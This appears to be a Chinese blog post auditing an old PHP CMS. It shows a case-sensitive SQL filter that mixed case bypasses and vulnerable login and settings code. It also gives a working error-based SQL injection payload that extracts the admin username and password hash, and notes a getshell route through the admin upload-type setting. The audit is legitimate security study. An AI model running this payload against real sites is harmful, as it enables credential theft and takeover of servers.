这个源码有点年代了,不过这次分析的很透彻,几乎每个点我都会去认真分析,所以这应该算是一次完整的代码审计吧~
源码地址:传送门
审计过程中也遇到很多问题,如有不当之处,敬请指出~
下面开始代码审计过程~(搭建过程略去)
1.目录总览
这里目录并不是很复杂,也没有采用thinkphp的框架,自己搭建的框架,因此代码还是很容易读懂的!
首先看到目录,我觉得先要找数据库文件,是不是存在默认的下载路径,如果通过这种方法,我们就能直接拿到管理员账号密码,还审计什么。。。
这里没有什么默认的mdb文件或是sql文件,backup里也为空,因此唯一可能有用的就是config.inc.php文件,但是因为是php,肯定是不显示的,因此这里不存在此类漏洞~
下面我们可以猜测admin肯定是管理员目录,cache为缓存,估计也没什么用。。
install为安装目录,经常出现的就是任意文件删除漏洞,然后利用这种漏洞删除install目录下的lock文件,导致cms可以进行重装,,但是笔者觉得此类漏洞不可取。。
system目录应该就是整个网站的组成文件,这个文件夹应该是审计的重点!
最后是一个上传文件的目录,这个看看有没有任意文件上传漏洞吧
2.配置文件总览
下面先看看有哪些配置文件,哪些文件经常引用到,这类文件往往会贯穿整个网站构建过程,一些重要的过滤函数也一般在这类文件中!
1
2
3
4
5
|
<?php
//中文
if(!file_exists(“data/config.inc.php”)){header(“location:install/index.php”);exit();}
require dirname(__FILE__).‘/system/common.inc.php’;
?>
|
这是index.php文件,我们可以看到两个配置文件,下面逐步跟着这些配置文件进入源码的世界~
这是config.inc.php文件,主要是数据库配置信息,这里没啥好说的,用的是utf-8字符,因此不存在宽字节注入~
这是system/common.inc.php文件,应该是整个网站的构架文件,可以看到之前说的system目录为系统目录,另外我们需要注意,在最下面一行,又引用了一个fun.inc.php文件,应该是function的配置文件,这类文件往往就是过滤函数的聚集地!
下面来好好看看这个fun.inc.php文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
//安全过滤函数
function safe_replace($string) {
$string = str_replace(‘%20’,”,$string);
$string = str_replace(‘%27’,”,$string);
$string = str_replace(‘%2527’,”,$string);
$string = str_replace(‘*’,”,$string);
$string = str_replace(‘”‘,‘"’,$string);
$string = str_replace(“‘”,”,$string);
$string = str_replace(‘”‘,”,$string);
$string = str_replace(‘;’,”,$string);
$string = str_replace(‘<‘,‘<’,$string);
$string = str_replace(‘>’,‘>’,$string);
$string = str_replace(“{“,”,$string);
$string = str_replace(‘}’,”,$string);
$string = str_replace(‘\’,”,$string);
return $string;
}
//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace(‘/select|insert | update | and | in | on | left | joins | delete |%|=|/*|*|../|./| union | from | where | group | into |load_file
|outfile/’,”,$str);
return htmlspecialchars($str);
}
|
这是fun.inc.php的一部分,可以看到这里有两个过滤函数,一个应该是xss过滤,一个是sql过滤。
但是这里sql过滤只匹配了小写,因此我们可以利用大小写来进行绕过!
因此如果使用了这个safe_html()函数,并且进入了数据库查询,那么这里就一定存在sql注入~
3.sql注入
下面我们针对这个函数来进行搜索,看看有哪些参数调用了这个safe_html()
这里一共114处调用了这个函数,那么下面我们来看看是否存在sql注入!
在看之前,我们先对文件所处位置进行判断,如果是system目录,那么我们应该能访问到,如果是admin目录下,就应该跳过,都还没拿到管理员账号密码,这个目录看了也是白看!
在看的时候,出现了大量相同目录下的文件
1
2
3
4
|
/system/modules/content/index.php
/system/modules/flash/admin.php
/system/modules/form/admin.php
/system/modules/member/admin.php
|
就不一一列举了。。大多都是/system/modules/目录下的,那么这个目录应该就是能够直接显示在前端的文件,因此这个目录更是我们的审计的重中之重!
那么我们找好了注入点存在的目录,下面来针对具体的文件,这里的safe_replace()函数我有点无能为力,实在有点绕不过去,,大牛有方法可以指出~
这里我挑选的是用户注册和登录模块,因为前面的文件要么有safe_replace(),要么有intval()函数来进行保护,有点无奈。。
下面我们来重点分析member目录下的文件,同时在自己搭建的网站环境中进行测试~
这是用户登录,这里我随便进行了fuzz,看看页面会显示什么,这步主要是方便我们查找源码出处~
?m=member&f=login_save,这里我猜测m为目录,f为功能,因此我们需要找到login_save()函数!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public function login_save(){
$username = safe_html($_POST[‘username’]);
$password = safe_html($_POST[‘password’]);
if(empty($username)||empty($password)){
showmsg(C(‘user_pass_empty’),‘-1’);
}
$sql=“select * from “.DB_PRE.“member where `username`=’$username'”;
if($this->mysql->num_rows($sql)==0){
showmsg(C(‘member_not_exist’),‘-1’);
}
$password=md5(md5($password));
$rs=$this->mysql->get_one($sql);
if($password!=$rs[‘password’]){
showmsg(C(‘password_error’),‘-1’);
}
…………
}
|
可以看到这里用户登录处仅仅调用了safe_html(),然后就进入了数据库查询!这里利用报错注入来进行测试~
这里为了测试方便,直接看了下数据库的表名和列名。。
可以看到这里有了回显,拿到了管理员账号密码~
payload:
username=’ or updatexml(1,concat(0x7e,(selEct concat(username,password) frOm c_admin),0x7e),1) #&password=adog
其余注入利用方法一致~都是因为safe_html()出的问题!
再给个例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public function editsave(){
$id=isset($_POST[‘id’])?intval($_POST[‘id’]):0;
$title=safe_html($_POST[‘title’]);
$sitename=safe_html($_POST[‘sitename’]);
$dir=safe_html($_POST[‘dir’]);
$seo_title=safe_html($_POST[‘seo_title’]);
$seo_key=safe_html($_POST[‘seo_key’]);
$seo_des=safe_html($_POST[‘seo_des’]);
$copyright=$_POST[‘copyright’];
if(empty($title)||empty($id)){
showmsg(C(‘material_not_complete’),‘-1’);
}
$this->mysql->db_update(‘language’,“`title`='”.$title.“‘,`sitename`='”.$sitename.“‘,`dir`='”.$dir.“‘,`seo_title`='”.$seo_title.“‘,`seo_key`='”.$seo_key.“‘,`seo_des`='”.$seo_des.“‘,`copyright`='”.$copyright.“‘”,‘`id`=’.$id);
$this->language_cache();
showmsg(C(‘update_success’),‘index.php?m=xdcms&c=language’);
}
|
这是language.php文件,同样的出现了sql注入问题~
注入到这里就告一段落,其余注入要么是intval(),要么是safe_replace(),会经过多次过滤,后来看了下知道创宇的漏洞库,,好像也没其他漏洞。。
4.其余漏洞挖掘过程
xss漏洞:整个网站竟然没有留言板功能。。。进后台看了下,没有什么能够触发存储型xss漏洞!
注册了个会员,看看后台能接受什么数据~
测试了下,储存在数据库中,并不存储在页面中,因此这里不存在xss漏洞(反射型漏洞就不找了。。修改ip即可出现反射型xss)
任意文件下载漏洞:这里提供了一个文件下载漏洞,没有文件上传功能,因此我们来看看这个文件下载是否会出现问题!
这里文件上传没成功,把代码截下来了用作示意。。这里给了一个文件下载链接,由于没有上传文件,因此链接为空,利用链接来实现下载,明显不存在任意文件下载漏洞。。
逻辑漏洞:这里想注册两个用户,看看是否存在越权漏洞和修改任意用户密码漏洞
这里抓了个修改密码的包,可以看到post数据均为我输入的,这里用户认证是依靠cookie认证,找到了代码但是不知道怎么生成的。。
1
|
Cookie::_setcookie(array(‘name’=>‘member_user’,‘value’=>$username)); Cookie::_setcookie(array(‘name’=>‘member_userid’,‘value’=>$rs[‘userid’]));Cookie::_setcookie(array(‘name’=>‘member_groupid’,‘value’=>$rs[‘groupid’]));
|
5.Getshell
后台可以直接修改上传文件类型,这个不多说~
当然还有很多其他方法,这里就不一一赘述了~
这个比赛参加了正赛前的热身赛,感觉题目出的可以,但是正赛那天因为有事,没有参加(第一次用vpn连接内网做ctf,感觉好刺激) 附上正赛的wp,以供学习吧~ 传送门:HappyCTF-writeup 相关推荐: 利用aircrack-…
请登录后发表评论
注册